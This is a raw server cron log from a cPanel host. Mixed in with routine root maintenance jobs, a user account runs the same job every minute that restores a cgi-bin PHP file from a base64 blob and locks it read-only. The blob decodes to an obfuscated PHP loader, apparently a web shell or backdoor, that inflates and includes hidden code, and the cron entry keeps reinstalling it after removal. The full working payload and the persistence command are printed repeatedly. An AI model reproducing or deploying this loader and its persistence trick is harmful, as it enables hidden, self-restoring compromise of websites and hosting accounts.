Sep  2 11:32:01 server CROND[25752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:33:01 server CROND[26149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:33:01 server CROND[26150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:33:01 server CROND[26151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:34:01 server CROND[26551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:34:01 server CROND[26552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:34:01 server CROND[26553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:35:01 server CROND[26993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:35:01 server CROND[26995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:35:01 server CROND[26997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:35:01 server CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:35:01 server CROND[27003]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:35:01 server CROND[27000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:35:01 server CROND[26998]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 11:35:01 server CROND[27002]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:35:01 server CROND[27001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:36:01 server CROND[27906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:36:01 server CROND[27908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:36:01 server CROND[27907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:37:01 server CROND[28331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:37:01 server CROND[28332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:37:01 server CROND[28333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:38:01 server CROND[28727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:38:01 server CROND[28728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:38:01 server CROND[28729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:39:01 server CROND[29134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:39:01 server CROND[29135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:39:01 server CROND[29136]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 11:39:01 server CROND[29138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:40:01 server CROND[29531]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:40:01 server CROND[29533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:40:01 server CROND[29534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:40:01 server CROND[29535]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:40:01 server CROND[29549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:40:01 server CROND[29548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:40:01 server CROND[29547]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:40:01 server CROND[29551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:41:01 server CROND[30367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:41:01 server CROND[30366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:41:01 server CROND[30368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:42:01 server CROND[30838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:42:01 server CROND[30839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:42:01 server CROND[30840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:42:01 server CROND[30841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:43:01 server CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:43:01 server CROND[31222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:43:01 server CROND[31224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:44:01 server CROND[31597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:44:01 server CROND[31599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
